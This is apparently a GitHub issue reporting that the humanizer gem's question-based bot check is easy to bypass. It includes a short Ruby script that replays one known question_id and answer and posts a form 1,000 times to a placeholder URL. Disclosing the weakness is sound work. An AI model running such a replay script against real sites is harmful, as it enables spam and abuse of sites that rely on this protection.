kiskolabs/humanizer — Issue #22: Defensless against spam bot attacks
Author: ontehfritz
Created: 2012-02-10 19:14:21+00:00
State: open

using humanizer to ward off bots, does not work. It is very easy to by-pass, once you know one question_id and its answer then you can write a simple script such as:
```
require 'net/http'
require 'uri'

url = URI('http://www.sitehere.com')

(1..1000).each do |value|
res = Net::HTTP.post_form(url, "user[humanizer_answer]"=>"15", "user[humanizer_question_id]"=>"4",
"action"=>"create", "controller"=>"controller")
end
```
Am I using it wrong? I have site and it can be by-passed with doing the above. Of course you have to add the values for the other fields the post is expecting, but that is very easy to figure out. But it simply offers no protection